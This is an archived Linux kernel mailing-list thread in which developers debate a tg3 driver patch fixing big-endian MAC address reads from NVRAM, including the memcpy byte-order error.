Content-Disposition: inline
In-Reply-To: <20090413180052.GB11076@xw6200.broadcom.net>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1510>

On Mon, Apr 13, 2009 at 11:00:52AM -0700, Matt Carlson wrote:
> Hi James.  I'd like to think about this some more before we apply it.  I
> investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> assumptions checked out.  I don't dispute that you and Robin are having
> a problem.  I just don't understand where the root cause of the problem
> is yet.  Stay tuned.
> 

Did your card in the sparc have an openfirmware ROM? If so, it probably
used the ofw tree to obtain parameters instead of the card nvram...

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 11:13:25 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20090413181325.GC11076@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
 <20090413180052.GB11076@xw6200.broadcom.net>
 <20090413180426.GE6072@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239646484 19837 80.91.229.12 (13 Apr 2009 18:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:14:44 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Michael Chan" <mchan@broadcom.com>
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:16:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQhG-0003dB-Tt
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:15:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752442AbZDMSNi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:13:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752387AbZDMSNi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:13:38 -0400
Original-Received: from mms3.broadcom.com ([216.31.210.19]:4948 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751613AbZDMSNh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:13:37 -0400
Original-Received: from [10.11.16.99] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 11:13:29 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 24AAB2C1; Mon, 13 Apr 2009 11:13:28 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 03B7E2B0; Mon, 13 Apr
 2009 11:13:28 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPL53530; Mon, 13 Apr 2009 11:13:25 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id CF2FE74D03; Mon, 13
 Apr 2009 11:13:25 -0700 (PDT)
In-Reply-To: <20090413180426.GE6072@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD5F425Y821081677-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1511>

On Mon, Apr 13, 2009 at 11:04:26AM -0700, Kyle McMartin wrote:
> On Mon, Apr 13, 2009 at 11:00:52AM -0700, Matt Carlson wrote:
> > Hi James.  I'd like to think about this some more before we apply it.  I
> > investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> > assumptions checked out.  I don't dispute that you and Robin are having
> > a problem.  I just don't understand where the root cause of the problem
> > is yet.  Stay tuned.
> > 
> 
> Did your card in the sparc have an openfirmware ROM? If so, it probably
> used the ofw tree to obtain parameters instead of the card nvram...

No, the test was run using a NIC.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 18:15:16 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
	 <20090413180052.GB11076@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239646604 20306 80.91.229.12 (13 Apr 2009 18:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:16:44 +0000 (UTC)
Cc: "linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:18:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQiP-0004CX-J6
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:17:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751613AbZDMSPQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:15:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752679AbZDMSPQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:15:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53061 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751613AbZDMSPP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:15:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EB0128EE1C1;
	Mon, 13 Apr 2009 11:15:14 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gjmmkCnLuOJf; Mon, 13 Apr 2009 11:15:14 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6450D8EE02F;
	Mon, 13 Apr 2009 11:15:14 -0700 (PDT)
In-Reply-To: <20090413180052.GB11076@xw6200.broadcom.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1512>

On Mon, 2009-04-13 at 11:00 -0700, Matt Carlson wrote:
> Hi James.  I'd like to think about this some more before we apply it.  I
> investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> assumptions checked out.

Um, I think you'll find the SPARC has a special routine for extracting
the MAC address from Open Firmware, so it doesn't exercise the NVRAM
path.

>   I don't dispute that you and Robin are having
> a problem.  I just don't understand where the root cause of the problem
> is yet.  Stay tuned.

The root cause is basically that if you get the MAC from NVRAM into two
native 32 bit words, you have to be careful about how you convert them
to a byte stream for the MAC address.  You can't use a memcpy from the
native number to the MAC because it's not endian invariant (it copies
the numbers the opposite ways around on big and little endian boxes).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 18:18:37 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <1239646717.3278.61.camel@mulgrave.int.hansenpartnership.com>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
	 <20090413180052.GB11076@xw6200.broadcom.net>
	 <20090413180426.GE6072@bombadil.infradead.org>
	 <20090413181325.GC11076@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239646735 20750 80.91.229.12 (13 Apr 2009 18:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:18:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:20:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQlJ-0005RF-Lx
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:20:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751083AbZDMSSi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:18:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751228AbZDMSSi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:18:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53083 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751083AbZDMSSh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:18:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D90688EE1C1;
	Mon, 13 Apr 2009 11:18:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fIuLhZcpPGtJ; Mon, 13 Apr 2009 11:18:36 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3D7CF8EE02F;
	Mon, 13 Apr 2009 11:18:36 -0700 (PDT)
In-Reply-To: <20090413181325.GC11076@xw6200.broadcom.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1513>

On Mon, 2009-04-13 at 11:13 -0700, Matt Carlson wrote:
> On Mon, Apr 13, 2009 at 11:04:26AM -0700, Kyle McMartin wrote:
> > On Mon, Apr 13, 2009 at 11:00:52AM -0700, Matt Carlson wrote:
> > > Hi James.  I'd like to think about this some more before we apply it.  I
> > > investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> > > assumptions checked out.  I don't dispute that you and Robin are having
> > > a problem.  I just don't understand where the root cause of the problem
> > > is yet.  Stay tuned.
> > > 
> > 
> > Did your card in the sparc have an openfirmware ROM? If so, it probably
> > used the ofw tree to obtain parameters instead of the card nvram...
> 
> No, the test was run using a NIC.

Possibly, then, the MAC comes from the MBOX, which looks correct?

tg3_get_device_address() has four mechanisms to get the mac address

     1. A sparc specific open firmware boot mac
     2. The card mac mbox
     3. the NVRAM (this is the failing one)
     4. a sparc specific default fallback if none of the above worked

The mbox route doesn't have a memcpy, only the NVRAM one.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 11:24:22 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20090413182422.GB11109@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
 <20090413180052.GB11076@xw6200.broadcom.net>
 <20090413180426.GE6072@bombadil.infradead.org>
 <20090413181325.GC11076@xw6200.broadcom.net>
 <1239646717.3278.61.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239647157 21986 80.91.229.12 (13 Apr 2009 18:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:25:57 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"Kyle McMartin" <kyle@mcmartin.ca>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Michael Chan" <mchan@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:27:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQs5-0007qH-4b
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:27:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751368AbZDMSYd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:24:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752148AbZDMSYd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:24:33 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:4218 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751368AbZDMSYc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:24:32 -0400
Original-Received: from [10.11.16.99] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 11:24:23 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 64BC92C1; Mon, 13 Apr 2009 11:24:23 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 4EF612B0; Mon, 13 Apr
 2009 11:24:23 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPL55304; Mon, 13 Apr 2009 11:24:22 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id 182E374D03; Mon, 13
 Apr 2009 11:24:22 -0700 (PDT)
In-Reply-To: <1239646717.3278.61.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD5CDD3D420764465-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1514>

On Mon, Apr 13, 2009 at 11:18:37AM -0700, James Bottomley wrote:
> On Mon, 2009-04-13 at 11:13 -0700, Matt Carlson wrote:
> > On Mon, Apr 13, 2009 at 11:04:26AM -0700, Kyle McMartin wrote:
> > > On Mon, Apr 13, 2009 at 11:00:52AM -0700, Matt Carlson wrote:
> > > > Hi James.  I'd like to think about this some more before we apply it.  I
> > > > investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> > > > assumptions checked out.  I don't dispute that you and Robin are having
> > > > a problem.  I just don't understand where the root cause of the problem
> > > > is yet.  Stay tuned.
> > > > 
> > > 
> > > Did your card in the sparc have an openfirmware ROM? If so, it probably
> > > used the ofw tree to obtain parameters instead of the card nvram...
> > 
> > No, the test was run using a NIC.
> 
> Possibly, then, the MAC comes from the MBOX, which looks correct?
> 
> tg3_get_device_address() has four mechanisms to get the mac address
> 
>      1. A sparc specific open firmware boot mac
>      2. The card mac mbox
>      3. the NVRAM (this is the failing one)
>      4. a sparc specific default fallback if none of the above worked
> 
> The mbox route doesn't have a memcpy, only the NVRAM one.
> 
> James

On this particular adapter, the MAC address would be obtained through
shared memory.  I had to modify the driver to force the code to obtain
the MAC address through NVRAM.  I printed both MAC addresses and they match.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 11:37:25 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20090413183725.GC11109@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
 <20090413180052.GB11076@xw6200.broadcom.net>
 <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239647968 24403 80.91.229.12 (13 Apr 2009 18:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:39:28 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Michael Chan" <mchan@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:40:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtR3d-0005PB-H2
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:39:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751265AbZDMShe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:37:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751330AbZDMShe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:37:34 -0400
Original-Received: from mms3.broadcom.com ([216.31.210.19]:3314 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751265AbZDMShd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:37:33 -0400
Original-Received: from [10.11.16.99] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 11:37:25 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 A7FF82C1; Mon, 13 Apr 2009 11:37:25 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 933402B0; Mon, 13 Apr
 2009 11:37:25 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPL57069; Mon, 13 Apr 2009 11:37:25 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id 08CD374D03; Mon, 13
 Apr 2009 11:37:25 -0700 (PDT)
In-Reply-To: <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD59EF5Y821095139-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1515>

On Mon, Apr 13, 2009 at 11:15:16AM -0700, James Bottomley wrote:
> On Mon, 2009-04-13 at 11:00 -0700, Matt Carlson wrote:
> > Hi James.  I'd like to think about this some more before we apply it.  I
> > investigated this problem using a 5703 on a SPARC Ultra 10, and all my
> > assumptions checked out.
> 
> Um, I think you'll find the SPARC has a special routine for extracting
> the MAC address from Open Firmware, so it doesn't exercise the NVRAM
> path.

Yes, it does.  The driver moves beyond that point because the routine
fails on this system.  (It's really old and doesn't have a Broadcom LOM
on it.)

> >   I don't dispute that you and Robin are having
> > a problem.  I just don't understand where the root cause of the problem
> > is yet.  Stay tuned.
> 
> The root cause is basically that if you get the MAC from NVRAM into two
> native 32 bit words, you have to be careful about how you convert them
> to a byte stream for the MAC address.  You can't use a memcpy from the
> native number to the MAC because it's not endian invariant (it copies
> the numbers the opposite ways around on big and little endian boxes).
> 
> James

But that is exactly what the code is doing.  tg3_nvram_read_be32() will
return the data in bytestream format.  A memcpy() should be all that is
needed to transport the data to a different memory location.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 20:48:18 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
	 <20090413180052.GB11076@xw6200.broadcom.net>
	 <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
	 <20090413183725.GC11109@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239655709 16149 80.91.229.12 (13 Apr 2009 20:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 20:48:29 +0000 (UTC)
Cc: "linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 22:49:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtT69-0007id-R7
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 22:49:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751829AbZDMUsT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 16:48:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751885AbZDMUsT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 16:48:19 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38309 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751829AbZDMUsS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 16:48:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D3B668EE1C1;
	Mon, 13 Apr 2009 13:48:17 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kq8C8bQN7i6F; Mon, 13 Apr 2009 13:48:17 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 21D098EE02F;
	Mon, 13 Apr 2009 13:48:17 -0700 (PDT)
In-Reply-To: <20090413183725.GC11109@xw6200.broadcom.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1516>

On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> return the data in bytestream format.  A memcpy() should be all that is
> needed to transport the data to a different memory location.

But not the one you've done.  cpu_to_be32 is a nop pass through on our
architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
our architecture (i.e. identical to the code that was doing the read in
2.6.29).  However, the memcpy is the wrong way around for us.  If you
look at an example, the original code said

dev_addr[0] = hi >> 16;
dev_addr[1] = hi >> 24

So MSB-1 and MSB.  However, on a BE machine these are at offset one and
zero from the start of the word.  The replacement memcopy is:

memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2)

i.e. offset 3 and 4, which actually copies LSB-1 and LSB into there.
